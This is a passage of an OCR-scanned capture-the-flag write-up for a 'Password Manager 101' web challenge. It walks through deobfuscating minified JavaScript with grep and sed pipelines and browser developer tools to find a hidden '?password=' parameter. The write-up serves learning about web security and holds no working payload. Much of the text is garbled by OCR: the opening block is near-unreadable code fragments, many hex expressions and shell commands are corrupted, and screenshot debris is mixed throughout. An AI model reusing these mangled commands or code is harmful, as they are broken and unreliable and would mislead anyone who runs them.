-0x26), fn(-8xled, -0x23f), fn(8x50, -nxm. o] ~0280), (62 ~0x14), Mn(oxed, ~6x74) fn(0xa0, —xcd), fn(-ox2b, -0x115), fn(6x26 P ioxtid, oxas): o bXi0n, o3}, Tnibeses o), ni-owe3, Oxee); To( Ouns <OXIOT) en(-0x00; Sxa)
5a), fn(-0x38h, 0xa4a), fnl-0X216, ~oxita)s fhi-ox35e, L6x250), Tni-aicd, -lce); fn(-oxm, Joieh, miade, -exies), fn-tica, -oxta), fn(-becs, “axce), fniexta, ~6xss), tnCaxses, ~buics), fnivar,'—axtb),
n fmaxma, oxda) s Th-ox143, Ox31), In(_bxeB, ~oX1d7), T (X0, oxBD); 1n( axTe, BXCh), fh(-0x2(s, —oxIBa), fh(oxe, OXT), fn-0xd, Beee), inCbrge, bndad), x29e) , fn(-0x256, -0xd1), fn(ex145,
T Lx1Be) s Frtoxtes OK1eTs fn( 0x2By axhD). ful bxIns DABS) e Ful-DXrcd) XE2) n(OXIOr, bcon): Tni-0vaTB) —onIbys Tn(oxeo)’ xbby Tni-0va0B: ONBBAs I(-0X30T, LONBIR) s fnl-0x3, XIS, Tr(Dchde,” Oxe),
Tn(odse, oxter)  fnioxdb, onde), Falox1so, ontn); fh(-odz, “exde), tnCadsy] -exiiz], foi-xca; -paed); fn(-exla7, —exss); fn(-oxbc, ~exidel, nlexaz, —exce), fn(ox23; ~oxdo1), fni-ox x230) , ' n(-0x89, —0x156), fn(-0x336, -0x25b), fn(-0x311, -0x288),
n(-0x66, ~8x175), fn(-0x170, -dxel), fn(-0x185, -0x292), fn(-0x2da, -0x160), fn(-Ox2ec, -0x179), fn(ex2d, -8x75), fn(-0x248, —Oxbb), fn (e7e, ~oxcé), x2a1, -0x18b), fn(-0x299, -Ox2ce), fn(-0xBf, 0x59), fn(-0x3af, -0x249), fn(-0x37, -Oxico), fn(-6x39
Coi3e, fn(oxisd, ox3B)s fni-owise, Oxds)s fnléxide, ax1), fn(-0xia3, -oxc2), n(-0xzds, -8x13c), fn(-0x3sa, -0xif2), fn(@xiz, -exiz), fn(-bxaaf, 0x67), fn(oxzo, 0x5b); tn(-exz27, -exfc), fn(lx4§, (6x58), fn(-0xda, —6x149), fn(-0x141, 0x26), fn(exlsl, Bx36),
e8, -0x6c), 'by's ey el ST, ) LETeS Tl T Ten W Sl fn(-ﬂxlss, —x152), fn(-0xal, -0xd1), 'cx', '
x1df, -8x2ct), fn(0x36, 0x36), fn(-0xi76, —6x10a), fn(-oiass, ~exith, fni-0:2%6, ~ocibd), in(-o17e, -oxier
x16c), fn(oxice, 0x64), fh(-0x21f, ~0x228), fn(-0x1bs, )
Tonaza). in(-ox7s,

, -0x30), fn(0x11b, ox1f), '1'

iy
'm'. m-unga, ~0x25e),

; ey tdx', tdy', fnr-axus, e s aive E)
) ey ox1b), fn(-6x1a7, -0x69), fn(bxcc, -ex7 4 0x34c, -0x2as),
—-0x29d), ‘g1 el 271), inloxas, ox2a), (o 2 —0x3b8; -0x2a2), fn(-0 3bc,
x31), fni-oxide, -6xb1), fh(-0x122, 8x3a), fn(6xal, OXE), fn(-exiot, 0x303), fn(-0x215, -ox2 fnq-axzds, -axzm, fntoite ux4=), sl e e
[ e e e b fnuxm, S5i minl Bon nE L B ieo o), fnwxn, ~ox1 , fn(-0xe0, -0xlea), fn(-0x5c, -0x1af), fn 4), fn(-uxzaA,
-0x1f5), fn(-0xlad, -0x266), fn(-0: fnlsovisa 00) ) Ehi-oxec, —OX16r): Thi-oxisd, oxaa), hi-on38, ~0%208), Th(ax10]
Dl e), fn(-0x1de, -0x22b), fn(-0x12a, —ox2c
ct, Tax1dl), fn(-oxios, —oxiba;

L o e e
e 0
e el G ~ox1f8), c,
27), fn(-0xef, -Oxlcd), TnCoxiac, oxis2
n(-0x20c, -0xdd), fn(-oxdf, -ox12a), x121, -8x7d), fn(-0x3f, -0x13a), fn(-0xde, -0x33), fn(-Oxfe, -0x187), ' Xy fn(— e
-0x27e), fn(oxda, 0x3f), fn(-0x2c, 0x50), fn(-6x1b3, -0xbf), fn(uxna, Shala el axde), n(-exbs, ~0x311), fMOx:f uxs=>, n(-0x211, <), fn(-0x2d8, -0x291), fn(-6xi5c,
0 WG, ety e n(bxae, ~0xes), [n(CoasiEecit) i Cagi e ca: el e el R e
. Sox524), fn(-oxiss, -bx3ad), fn(-0x275, ~xTf), fh(-Oxles, ~8xibi), fh(-0xea, -ox100), fn(oxidd, ~0x49) -0x82), fn(-0x224, -6xled), fn(-8x256, -6xe3), fn(0xcs, 6xd), 'x', 'x1',
', 'ty", ty1', by2', 'z¢, fn(-dxlab, -8x1de), fn(-Ox1b8, -xlad), fn(-8x26e, -dxice), fn(»uxsﬂz, -0x254), fn(-0x282, -0x136), fn(0x157, 0x42), n(-0x fi chb, - fn{~ux6 , -8xdd), fn(-0x3eb, -0x2ad), fn(-0x221, -0x3b7),
n(6x14, -0x140), fn(-0xa7, -0xc6), fn(-0x1ge, -0xdb), fi , fn(-0x19e, -0x27), fn(-6x3b3, -8x2aa), fn(-6x165, -6x111), fnmxua, axb), e sl s
fn(6xde, -0x7e), fn(-0x171, -0x226), fn(-0x131, E s fn(-0x212, — » (4 -0x64), fn(-0x24b, -0xle2), fn(-0xco, e i (-0x: ey n{-oxba, 0x18), o Lax25d, ~biobs), , -0x6e), fn(6x2,
fn(Caxbe, axa2), fni-exczs, 2063003, Thioexass, ~ewadb). Tnlows?, ONsT), fniowiios o e e
fn(oxc3, -0x8a), '#' fn10x139, -0x21), fn(
-0x3), fn(-0x1bd, *Bxsd, ity o '+', fn(-oxiad, 4xu1i
n(-0x79, ~8xb0), fn(-ox
_ex5195 [0

-0x210

e
(“x9d, -ox1fc), f fn(-6xco, -0x9), fn(-0; d),
fn(-0x38e, -0x277), fn(~ axus, -0xe8), fn(6x88, 0x13), fn(-ex32f,
=g%4"F X199
7+ 0x1d & o x @uad || AL OG195[0x74e + oxd » 0215 + Bxb x 066511 (k) {
csl](_exs1slexs = -ex7d3 + <7 x 033
)

-0x275)

+
jocument [_0x5195[-0x1 * —ax1a45
ﬂh]zct[ 0x5195[0x3 * -0x32d + -0x16ft

oxsm 2 6x362)
el o

03343 + OxCff + ~0x68 * 0x28) 66 kin - (OxIeTf + Ox638 * Ox1 + -0x24b6)] _0x5195[0x19e * -Oxc + ~0x3 * 8xa37 + 6x3210];
oxadd + oxla x Oxsdm 5195 1-0x164 % 038 +
~0x681 x ~0x5]1(f, _0x5195T-0x7 » ~0x509 + ~0x265 + -0x20d3], g
szf + 0x106711 (f)
u RegExp(_@xs195[-0x6d « <59 + 8207 = 09 + —0xadc]);
hi o 108 e - Brabfa s Oxfat s cxll] = fanctiont)
console[ oxs195[-axile3 ¥ o2 Hahei axzwellm

5 (0xc35 + ~0x1 % 0x25Td + 0X2 + Oxdd peot exports 66 43195101583 x el 4 exlds + 07 x -Gx3dal 1= typeof module 7 modulel_x5195(0x27 % -6x31 + €x1 * Bx54a + xade]] = L)
definel_¢ oxsws[axua 03100 1 s 1= chpexs 1IN e tine L MER K || self) [0x5195[0x3 * 0x6bb + @xa0a + 8x1b92 x -0x1]] = 1();

[, d37 * Ox2 + —0x4 * 0x24b + 0x239a];
f (Arraylexs19exzzee + -axds1 ox1 + —ox1 % sl (a7))
~0x2 + 6x621 + X1 d, 9 =

return Array [ Gx51951. Oraets+ oreds o a1 x <DAIOR1 ] (87) ]

_0x5195[0xcf2 + -0x3 * @x39d + -Ox1fc]

Array(a7[_0x5195[-8x2 % @x1336 + Ox1 % -0xa9 + @x3106 * Ox111); a8 < a7[_0x5195[-0x1ff + Ox127d + —0xcO % 0x15]11; aB++) {
Tar a9 = argunents [ 6x5195 0xbd5 + ~0x2189 + Ox1sbsll, aa

ox17; ab < a9; ab++) {

typeof define &&

a8

= Array(a9 > @x15ac + -8x53b % -0x5 + -0x2 * Ox17e9 7 a9 - (@x2 * Ox9cl + -6x1d1b + @x99a)
r (var arguments [_0x5195[0x1b7b * Ox1 + -0x1c02 + x4 * 0x22]1, a9 = Array(a8), aa =
o G a9

-0x4 * -0x85a + 0x3 * -0x9fa + 0x59 * -0xa), ab = -Ox118c + Bx2 * Ox779 + Ox1d %
~0xb % 8x236 + -0x3 x 0x3d2 + OX5 * 0x728; aa < a8; aa++) {
0x918] == typeof aa) {
if 1Array[ a}(sns[ 9x24e0 + —8x1520 « 1 + a1s)] (a7)

a8 + 0xfb7 + -0x24a3, a9 = Array(a7[_0x5195[-0x19c3 + -8x1 * -0xa3f + -6x89 * -0x1d]]1); a8 < a7[_0x5195[0xd1b + @x1813 + -0x252d]1;
return Array[ oxs105 [0wedD s 0vaTh  0xt - -oxatal] (7}

ag++) {
var a7 = argunents [ 0x5195[0x13b4 + ~0x27 % 0x5d + 0x388]] > Ox2112 + 0x25 % BxSb + Ox13eb  —Ox1 & void(-OXLf * OX62 + —0x2 % —0x314 + Ox5b6)

argunents[0x6ad + 0x2 % -0x70a + x5 % 0x17b] ? arguments[OxbS + -0xdf4 * Ox1 + @xd3f] : as(),

The first part is the declaration of our variable. I opened the “out.txt” file and deleted that part
manually. This keeps us with only the lines that contain “_0x5195[“



Next step is to remove most of the unnecessary code at each line as we only need the
“_0x5195[HEX code]”: cat out.txt | grep -Po "(?<=\[).*?(?=\])" >> out2.txt

joren@reconbox: $ cat out.txt | grep -Po "(?<=\D.*?(?=\]D" >> out2.txtl

_Ox5195[-0xb * -0x38c + -0x1815 + Oxeeb * -0x1
@x173d + @x8al * @x3 + Ox1lb * -0x1b8

-@x1fb * -0x11 + @x14 * Qxbl + -O@x2cc4
_@x5195[@x5 * Ox673 + Ox48e + -0x2213

@x1 * -@xc73 + -0x691 + @x139c

@x96b + @xb59 + @x1f * -0x95

@x3 * -0x851 + Ox1302 + Ox8ad

_@x5195[-0x3 * Oxb3 + Ox%e + -0x74c

-9x393 + -0xllab + @x17fb

_@x5195[@xf07 + -0x3 * @x9fd + Oxf71

Oxa28 + -0x1 * -@x2laf + -0x2919
_Ox5195[-0x10 * Oxca + @x1196 * Ox2 + @x2cl * -0x8
-@x233b + @x128f * @x1 + @x1 * Ox136b
g3(-0x1db, -0x1bf)

-0x508 + Ox1@ae + Ox22 * -0x43
_@x5195[-0x1f78 + -0x371 + @x1f * Ox125
Ox4dl * @x2 + Ox6 * -Ox446 + Ox12c3
_@x5195[@x5 * Ox79d + -@x85f * Ox1 + -Ox1dbl * Ox1
o}

_@x5195[@x15dd + 0x248 + -0x1574
_@x5195[-0xe83 + Oxc@5 + Ox2f1
_@x5195[@x1261 + -0x2393 * -0x1 + -0x3332
_@x5195[-0x1 * @x1723 + Ox5 * Ox494 + -@x13 * -Oxb
-0x1c@7 + @x18cc + @x76 * Oxd

_@x5195[0@x2321 + @x6b * -0@xb + -0x1e87

o}

_@x5195[-0x1f63 * @x1 + @x2631 + -0xd * @x51
_@x5195[-0x8eb + @x1b@ + @xa@l
_Ox5195[-0x1d3c + Ox20da * -0x1 + @x40db
-@x1333 + @x18a4 + -@x5 * Ox89
_@x5195[-0x115a + -@x1 * -0x19e5 + -0x8@a
-@x2 * -@xcab + Oxb9 * @xZe + -0x37el
_@x5195[-0x12el + -0x25 * Oxb5 + @x2d59
-@x124e + -0x3dd * @xa + @x13 * Ox301
g3(0x79, @x1f2)

-@x2358 + -@x16b5 + @x3ccl

g3(0xb7, @x203)

-0x18bd + -@0xd95 + @xc5 * @x35

g3(-0x101, -0x29b)

@x25 * -@x32 + Ox569 * -@x1 + @xf59
g3(-0x125, 0x56)

-@x1651 + @x2330 + -0xa2d




Some lines still have code like this “g3(-0x1db, -0x1bf)”. Lets find those lines containing a “(“ and
remove them: cat out2.txt | sed '/(/d' >> out3.txt

joren@reconbox: $ cat out2.txt | sed '/(/d' >> out3. txtl

Still a part of the lines contain a simple “0”. We can remove them also: cat out3.txt | sed "/o/d" >>
outd.txt

_Ox5195[-0x1f78 + -0x371 + Ox1f * Ox125

Ox4dl * Ox2 + Ox6 * -0x446 + Ox12c3

_Ox5195[0x5 * @x79d + -0x85f * Ox1 + -Ox1ldbl * Ox1
o)

_@x5195[0@x15dd + 0x248 + -0x1574

_Ox5195[ -0xe83 + Oxc@5 + 0Ox2f1

_Ox5195[0x1261 + -0x2393 * -0x1 + -0x3332
_Ox5195[-0x1 * 0x1723 + Ox5 * 0x494 + -0x13 * -0xb
-0x1c@7 + Ox18cc + Ox76 * Oxd

_0x5195[0x2321 + Ox6b * -0xb + -0x1e87

o)

_Ox5195[-0x1f63 * Ox1 + Ox2631 + -0xd * ©@x51
_0x5195[ -0x8eb + 0x1bd + 0xadl

_0x5195[-0x1d3c + 0x20da * -0x1 + Ox40db

joren@reconbox:/tmp$ cat out3.txt | sed '/o/d' >>

Ok now I only have the code that came from the “_0x5195[“ pattern. I want to give them to our
developer tools in one time so it can be converted to something readable. I need to construct each
line as following console.log(_0x5195[HEX code]).

Some lines already contain the “_0x5195[ “ part and some not so I have to filter for that in 2 steps.

Get lines that already have the “_0x5195[ “ part: cat out4.txt | grep '_0x5195' | sed -e
's/NVconsole.log(/' | sed -e 's/$/])/" >> partl.txt

joren@reconbox: /tmp$ cat outd.txt | grep '_@x5195' | sed -e 's/A/console.log(/' | sed -e 's/$/]1)/' >> partl.txt

joren@reconbox: Y |

Get lines that do not have this part and add it: cat out4.txt | grep -v "_0x5195" | sed -e
's/Nconsole.log(_0x5195[/" | sed -e 's/$/])/" >> part2.txt

joren@reconbox:/tmp$ cat out4.txt | grep -v "_0x5195" | sed -e 's/A/console.log(_@x5195[/' | sed -e 's/$/]1)/' >> part2.txt

joren@reconbox : Y |



Combine our partl.txt and part2.txt to get our full list: cat partl1.txt part2.txt > full.txt

joren@reconbox: $ cat partl.txt partZ2.txt > full.txt
joren@reconbox: $

(X X ) B full.txt
conso Le. Log(_ox5195 |0xe3b * -0x2 + 0x1dl/ + 0x120])

0x17bb + 0x203 + 0x18c * -0xf])

-0x1027 + -0xdfd * —@x1 + 8x4b5])

-0x1539 + -0x594 + 0x1d59 * 0x1])

-0xa x @x1f4 + -0x13c5 + 0x29dal)

0x1e86 + -0x198 + -@x1a60])

~0x7 * @x431 + -0xf51 + 0x2f37])

~0xeec + -0x17 % —0x7b + 0x3 * @x225])
~0x8b * 0x23 + 0x2b * —0x5 + 0x1669])
~0xb65 * Ox1 + 8x53 % 0x6 + —0x1 x -0xc@5])
0x1 x -0xa7b + Ox1 * Ox7ba + 0x554]1)

-0x1 * -0x7ed + -0x6 * -0x1b6 + -8xf9d])
-0x2285 + Oxlalb + @xaff % 0x1])

Ox1 % -0x92f + 8x1065 * —0x2 + @x2c8f])
0x13 * -0x148 + 0x9f3 + 0x1034])

0x20bf + 0x1519 + -@x18 * @x23b])

0x26d7 * -0x1 + Ox1d0f + Oxc5f])

-0x1aa3 + -0x143 + @xle7e])

0x26 * 0xa9 + -0x23a6 + 0xd29])

~0x1ab8 + 0x1d39 * -0x1 + -0x7 * -0x85d])
0x84 x -0x16 + -0x1674 + 0x2leb])

0x1aed x -0x1 + -@x1bf5 + @x3bf * 0xfl)
-0x896 + 0x21dd + -8x4 * Ox64a])

~0x2 * 0x1079 + -0xd56 + -0x2f9b x -0x1])
-0x2633 + 0x259c + @xea  0x1])

-0x1c6 + 0x2292 + -0x207a])

~0x1 x @xb7 + -0x14bd % —0x1 + -0x13b3])
0x2 * 0x929 + 0x36 * -0x9b + 0xd7f])
-0x18b1 + -0x10aa + Ox2bfal)

-0x1 * -0x172d + -0x12 * 0x144 + 8x23a])
~0x2c9 + OX5 * —0X7c6 + 0x2c49])

~0x1 * @x1bbf + —Oxb * —0x2e6 + —0x180])
-0x1412 + -0x1f0c + 0x3341 * 0x1])

0x12c1 + OX1 % —0x1bb8 + -@x1 x -@xbgb] )
Ox1 % 0x445 + —0x79 % 0x2e + —0X5 * -0x406])
0x57 * @xb + -0x3d * @x6d + 0x18e9])
-0x1f54 + 0x122f * —0x2 + 0x97 * 0x73])
—0x21e5 + 0x2 * -0x3cb + -0x107 * —0x2b])
0x1 x Ox1f91 + @x27d * —0x9 + 0x679 x —0x1])
0x165e + -0x203 + 0x11a7 * -0x1])

-0x1 x Oxaf + -0x5 * -0x4a3 + 0x1 * -0x13cb])
0x83 x @x22 + -0x1df2 + —0x9 * -0x1b2])
-0x41 * 0x2f + Ox4fa + Ox9ac])

0x173d + 0xBal * 0x3 + Ox1b x -0x1b8])
~0x1fb x -0x11 + 0x14 % 0xbl + —0x2cca])
Ox1 * -@xc73 + —0x691 + 0x139c])

0x96b + @xb59 + Ox1f * -0x95])

0x3 * -0x851 + 0x1302 + 0x8ad])

-0x393 + -0x11ab + @x17fb])

¢ 0xa28 + -0x1 * -0x21af + -0x2919])
console. log(_0x5195[-@x233b + @x128f x Ox1 + 8x1 x 0x136b])

There are a few lines left that are unusable so I removed them again manually:

console. log(_0x5195[0x212b + —0x208d * @x1 + —@x5f])

console. log(_@x5195[0x216a + Ox11ldl + @0x3307 * -0x1])
console loal Av510510x252c 4+ -@x9d1 * -O0x1 + 0xla9 * -0xlc])
-onsole. log(_0x5195 [bm] )

CONSo (€. L0g(_UX5195bX1eec + -0x1 *x Oxaldd + -0x14c0])
console. log(_@x5195[0x2266 + Ox4 x Ox608 + Ox1cf9 * -0x2])
console. log(_@x5195[@x1 * —-@0x2335 + @Oxdd * -0x9 + -0x4d7 * -0x9])
console. log(_@x5195[0x24 * @xba + 0x2f3 * -0x3 + -0x1115])
console. log(_@x5195[-0x1496 + 0x17 * @xa6 + 0x643])
console.log(_0x5195[0x389 + -@x26ec + @x23fa])

console. log(_@x5195[-0x2f * -Ox1f + —-@x8d8 + Ox3bf * 0x1])
console. log(_@x5195[-0x1 * -0x2185 + -@0x171a + -@x1f7 x @x5])
console. log(_@x5195[@x13 * -0x5 + -0x1 * Oxlceb + -0xlde3 * -0x1])
console. log(_@x5195[-0x8 * @x1a9 + Oxf * Oxcf + @x12e])
console. log(_0x5195[0x7f9 + -0x5 * -0x793 + -0x2d8d])
console.log(_0x5195[-0x49 * @x62 + -0x9 * Ox5e + 0x1f63])
console. log(_@x5195[-0xec3 + -0x448 *x 0x4 + 0x207d])

console. log(_@x5195[0x353 * -0x3 + -0x911 + 0x13a5])

console. log(_0x5195[-0x1 * -@x136f + -@x154b + 0x278])
console. log(_@x5195[@x6d * -@xb + -0x4a + 0x1 * @x536])
consnle. l1nal _Ax¥5105[Ax1245 % @Ox1 + Oxb2f + 0x141 * -0x17])
zonsole. log(_0x5195 [bk])

CONSU e, T0g(_0X53195[—uX1 * 9x1606 + -0x1166 * —-0x1 + @0x4c3])




Time to copy and paste this into our developer tools for translation:

Password Manager 101
Enter Password to be saved

&> 4l Elements Console  Sources  Network  Performance  Memory  Application  Security Lighthouse

Bl © | topv | @ |[Fitter Alllevels ¥ || No Issues

console. log(_@x5195[-0x1c6 + 0x2292 + -0x207a])

console. log(_0x5195[-0x1 * Oxb7 + -0x1dbd * -0x1 + —0x13b3])
console. log(_0x5195[0x2 * 0x9a9 + 0x36 * —0x9b + Oxd7f])
console. log(_0x5195[-0x18b1 + -0x10aa + @x2bfal)

console. log(_0x5195[-0x1 * -0x172d + —0x12 * 0x144 + 0x23al)
console. log(_0x5195[-0x2c9 + OX5 * —0x7c6 + 0x2c49])

console. log(_0x5195[-0x1 x Ox1bbf + -@xb * -@x2e6 + -0x180])
console. log(_0x5195[-0x1412 + -0x1foc + 0x3341 * 0x1])
console. log(_0x5195[@x12c1 + @x1 * —@x1bb8 + -0x1 * -@xb9bl)
console. log(Z0x5195[0x1 * 0x445 + —0x79 * Ox2e + —0X5 * —0x406])
console. log(_0x5195[0x57 * Oxb + —0x3d * 0x6d + 0x18e9])
console. log(_0x5195 [-0x1f54 + @x122f * —0x2 + 0x97 * 0x73])
console. log(_0x5195 [-0x21e5 + 0x2 * -0x3cb + -0x107 * -@x2b])
console. log(_0x5195[0x1 * 0x191 + 8x27d * -@x9 + 0x679 * -0x1])
console. log(_0x5195[0x165e + -0x203 + 0x11a7 * —0x1])
console. log(_0x5195[-0x1 * Oxaf + -0x5 % -8x4a3 + 0x1 * -@x13cb])
console. log(_0x5195[0x83 * 0x22 + -0x1df2 + —0x9 * -0x1b2])
console. log (_0x5195[-0x41 * 0x2f + 0x4fa + 0x9acl)

console. log(_0x5195[0x173d + 0x8al * @x3 + Ox1b * -@x1b8])
console. log(_0x5195[-0x1fb * -0x11 + 0x14 * Oxbl + -0x2cc4])
console. log(_0x5195[0x1 * -@xc73 + -0x691 + @x139c])

console. log(_0x5195[0x96b + @xb59 + OX1f * -@x95])

console. log(_0x5195[0x3 * -0x851 + 0x1302 + @x8ad])

console. log(_0x5195[-0x393 + -x11ab + @x17fb])

console. log(_0x5195[0xa28 + -@x1 * —@x2laf + -0x2919])
console. log(_0x5195[-0x233b + @x128f * Ox1 + 0x1 * Ox136b])
console. log(_0x5195[-0x508 + Ox10ae + 0x22 * —0x43])
console.log(_0x5195[0x4d1 * @x2 + 0x6 * -0x446 + 0x12c3])
console. log(_0x5195[-0x1c@7 + @x18cc + 0x76 * Oxd])

console. log(_0x5195[-0x1333 + 0x18a4 + —0x5 x 0x89])

console. log(_0x5195[-0x2 x -@xcab + 0xb9 * Ox2e + —0x37e1])
console. log(_0x5195[-0x124e + -0x3dd x Oxa + 0x13 * 0x301])
console. log(_0x5195[-0x2358 + -0x16b5 + 8x3ccl])

console. log(Z0x5195[-0x186d + -0xd95 + Oxc5 * 0x35])

console. log(_0x5195[0x25 * -8x32 + 0x569 * —Ox1 + 0xf59])
console. log(_0x5195[-0x1651 + 0x2330 + -0xa28])|

Paused in debugger

Password Manager 101
Enter Password to be saved

[® (1] | Elements Console Sources Network Performance  Memory  Application  Security Lighthouse
B © |topvy | @ ||Fitter Alllevels ¥ | No Issues

uh, oh!
Please, provide a password
error

Keep hunting

?password=

password

o
amsterdan_coffeeshops

try harder

#passwords

<div class="password"><span asswordsaved">

</span><button class="delete"><i class="fa fa-trash-o"></i></button></div>
.delete

#passwordsaved

completed

#new-password input

uh, oh!
I need a parameter.. maybe look at the sourcecode?
error

Keep hunting

And we can copy the output in a new text file: “translate.txt” in for me

B translate-clean.txt

createElement
defineProperty
Lo

DocumentFragment
HTMLTenplateElement
Node

NodeFilter
NamedNodeMap
NamedNodeMap




At this point I checked our “translated” list and quickly found a parameter that way:

object

undefined

function

O - Sl
poli

antlhackercode

#

TrustedTypes policy
could not be created.
ABCDEFGHLJKLMNOPQRSTUVWXYZabcde
#add
#new-password input
Uh, oh!
Please, provide a password
error
Keep_huntina
7password=
password

+
amsterdam_coffeeshops
try harder
#passwords
<div class="password"><span 1d—"password
5 = 230008 i
</span><button class="delete"><i class=" —trash-o"></i></button></div>
.delete
#passwordsaved

complete
#new-password input

Uh, oh!
I need a parameter.. maybe look at the so

1y}

error
Keep hunting

& > C & challenge-0921.intigri

Password Manager 101

Enter Password to be saved

Just add a random password and click Add

3§ r=«A Y



Phase 2: What can we input via our parameter

We now found our way into the application but our passwords are saved as some unreadable

“thing”.

Update

@ challenge-0921.intigriti

Password Manager 101

Enter Password to be saved

3% r=«A Y

Password Manager 101

Enter Password to be saved

Styles Computed  Layout

Filter

element.style {

.password span {

pa style.css:1
passwords : border-box;
v.password

.password { style.css:66

assword ~ span#passwordsaved

center div.control div.container ~div#passwords

Console




Ok time to take this a step further and look into the source code where the parameter value is and
see if we can find other clues there. I have 2 text files now one with the encoded part
“_0x5195[HEX code]” and one with the translation.

I cleaned my pasted “translate.txt” with following Linux command: cat translate.txt | sed 's/[ ] * //"
>> translate-clean.txt

Now via Linux I can easily make some kind of dictionary as following: paste -d"\0' full.txt
translate-clean.txt >> dictionary.txt

This combines our 2 files and pairs them correctly:

(X X ) B dictionary.txt

0x5195 [0xe * -0x157 + @x1b7 * -0x4 + 0x199f] length

0x5195 [0x74e + —0x1 * 0x2f5 + -@xb * 0x65] test

0x5195 [@x7f * -0x3e + -0x133 x @x5 + 0x24c5] index0f

0x5195 [-0x1 * -0x1a45 + -0xadd + Oxla * -0x9d] createElement
0x5195[0x3 * -0x32d + -0x16f6 + -0x681 * -0x5] defineProperty
0x5195 [-0x1729 + -0x25 * -@x2f + @x1067] log

0x5195 [-0xca3 + Ox1bfd + Oxf4f » -0x1] toString

0x5195 [-0x1163 * 0x2 + -0x1 * -Oxlcf + 0x2100] log

0x5195 [0x27 * -0x31 + Ox1 * Ox54a + 0x4d4] exports
0x5195[0x13d * Oxf + Ox1 % -@x50b + -0x15c * 0x8] amd
0x5195[0x3 * 0x6bb + 0xa0a + @x1b92 * -0x1]
0x5195[0x220e + -0xd51 * Ox1 + -@x1 * 0x14b1]

0x5195 [-0x2 * 0x1336 + Ox1 * -0xa99 + 0x3106 * Ox1]
0x5195 [-0x1ff + 0x127d + -@xc9 * @x15] length

0x5195 [-0x1e61 + 0x6d8 + -@x1 * -0x1796] from

0x5195 [@xbd5 + -0x2189 + 0x15b5] length

0x5195[@x1b7b * Ox1 + —0xX1c02 + Ox4 * 0x22] length
0x5195 [0x185F + —0x2C5 * OX5 + —0xa85 * 0x1] length
0x5195 [-0x24e0 + —0x1529 * Ox1 + @x3al5] isArray

0x5195 [-0x19c3 + —0x1 * -0xa3f + -0x89 * -0x1d]  length
0x5195 [@xd1b + 0x1813 + -0x252d] length

0x5195[0xc98 + -0x271 * Ox1 + -@xalal  from

0x5195[0x13b4 + —0x27 * 0x5d + -0x588]  length
0x5195[-0x96e + Ox55f + —Ox1 * —Oxdle]  version
0x5195[-0x8cd + @x36¢ + 0x572]  removed

0x5195[0x25d1 + —0xe30 x —0x1 + Ox1 * —0x33ef]  document
0x5195[-0x582 + —0x432 + 0x9c6 * 0x1] document

0x5195 [-0x1e8f + 0x819 * Ox2 + 0x58 * @x2a] nodeType
0x5195[0x215 + Ox1 * -0x2b6 + —0x1f2b]  isSupported

0x5195 [-0x565 * OX1 + -0X5 * —0x278 + —0X3 * 0x24b] document
0x5195 [-0x1b44 + —0x22a9 + OX3dff] document
0x5195[-0x836 + 0x2007 + -@x4 x Ox5ef]  DocumentFragment
0x5195[-0x1 * @x87e + —0x919 + 0x1lad]  HTMLTemplateElement
0x5195[-0x179 * Oxb + 0xd85 x —0x1 + Ox1 * Oxldcf] Node
0x5195[-0x861 + -0x12el + 0x9 x 0x30a]  NodeFilter

0x5195 [-0x15f6 + —0x2d * 0x47 + 0x228a] NamedNodeMap

0x5195 [-0x1e4d + 0x17c5 + Ox1 * 0x698]  NamedNodeMap

0x5195 [0x11c1 + -Bx1 * 0x981 + -0x826]  MozNamedAttrMap
0x5195[0x1 * Ox26cc + 0x1270 + —0x3921] Text

0x5195[0x11c4 + 0x9c1 * —0x4 + 8x2 x Oxaae] Comment
0x5195[-0x236f + 0x9a2 + Ox6b * Ox3e]  DOMParser

If we now look for our password parameter:
_0x5195[-0x1412 + -0x1f0c + 0x3341 * Ox1]
_0x5195[0x12c1 + @x1 * -Bx1bb8 + -8x1 * —-0@xb9b] TrustedTypes policy
_@x5195[0@x1 * 0x445 + -0x79 * Ox2e + -0x5 *x -0x406] could not be created.
_0x5195[0x57 * @xb + —0x3d * @x6d + 0x18e9]
_0x5195[-0x1f54 + 0x122f * —-@0x2 + @x97 * 0x73]
_@0x5195[-0x21e5 + @0x2 x -0x3cb + -0x107 * -0x2b] #add
_0x5195[0x1 * 0x1f91 + @x27d * -0x9 + @Ox679 * -0x1] #new-password input
_0x5195[0x165e + -0x203 + @xlla7 * -0x1] Uh, oh!
_0x5195[-0x1 * @xaf + —@x5 x -@x4a3 + Ox1 x -0x13cb] Please, provide a password
_@x5195[0x83 * @x22 + -0x1df2 + -8x9 *x -@x1b2] error
_@x5195[-0x41 * @Ox2f + Ox4fa + Ox9ac] Keep hunting
_0x5195[0x173d + @x8al * Ox3 + Ox1lb * —-0x1b8] 7password=
_0x5195[-0x1fb * -@x11 + Ox14 * @xbl + —-@x2ccd] password
_0x5195[0x1 * -@xc73 + -0x691 + 0x139c]
_0x5195[0x96b + @xb59 + @x1f * —-0x95] +
_0x5195[@x3 * -@x851 + @x1302 + @x8ad] amsterdam_coffeeshops
_@0x5195[-0x393 + -0x1lab + @x17fb] try harder
_0x5195[0xa28 + -@x1 * -0x2laf + —-0x2919] #passwords
_0x5195[-0x233b + 0x128f * @x1 + @x1 * @x136b] <div class="password"><span id="passwordsaved">
_@0x5195[-0x508 + @x10ae + @x22 *x -0x43] </span><button class="delete"><i class="fa fa-trash-o0"></i></button></div>
_Bx5195[0x4d1l * @x2 + Ox6 * -0x446 + 0x12c3] .delete
_0x5195[-0x1c07 + 0x18cc + @x76 * @xd]
a Ox89

_0x5195[0x173d + 0x8al * 0x3 + 0x1b * -0x1b8] ?password=



We can search for this part in the source code and this reveals a bit further the “atob” fuction.

f (document [_0x5195[-0x14df * —0x1 + Ox3a * OX7f + -0x312411(_0x5195[0x1 * Ox1f9l + Ox27d * -0x9 + 0x679 x -0x1]) [_Ox5195[0x3 * 0x7d4 + -Oxddc + -0x9511]1 [_0x5195[-0x1 * Ox1d93 + -@x1:
var k = {};
k[g3(0x79, 0x82)] = _0x5195[0x165e + -0x203 + Ox1la7 * -0x1l;
k[g3(0xb7, 0x198)] 0x5195[-0x1 * Oxaf + -OX5 * -0x4a3 + Ox1 * —0x13cbl;
klg3(-0x101, -0x97)] 0x5195[0x83 * 0x22 + -0x1df2 + -0x9 * -0x1b2];
k[g3(-0x125, 0x73)] = _0x5195[-0x41 % 0x2f + Ox4fa + @x9acl;
swal(k);
else {
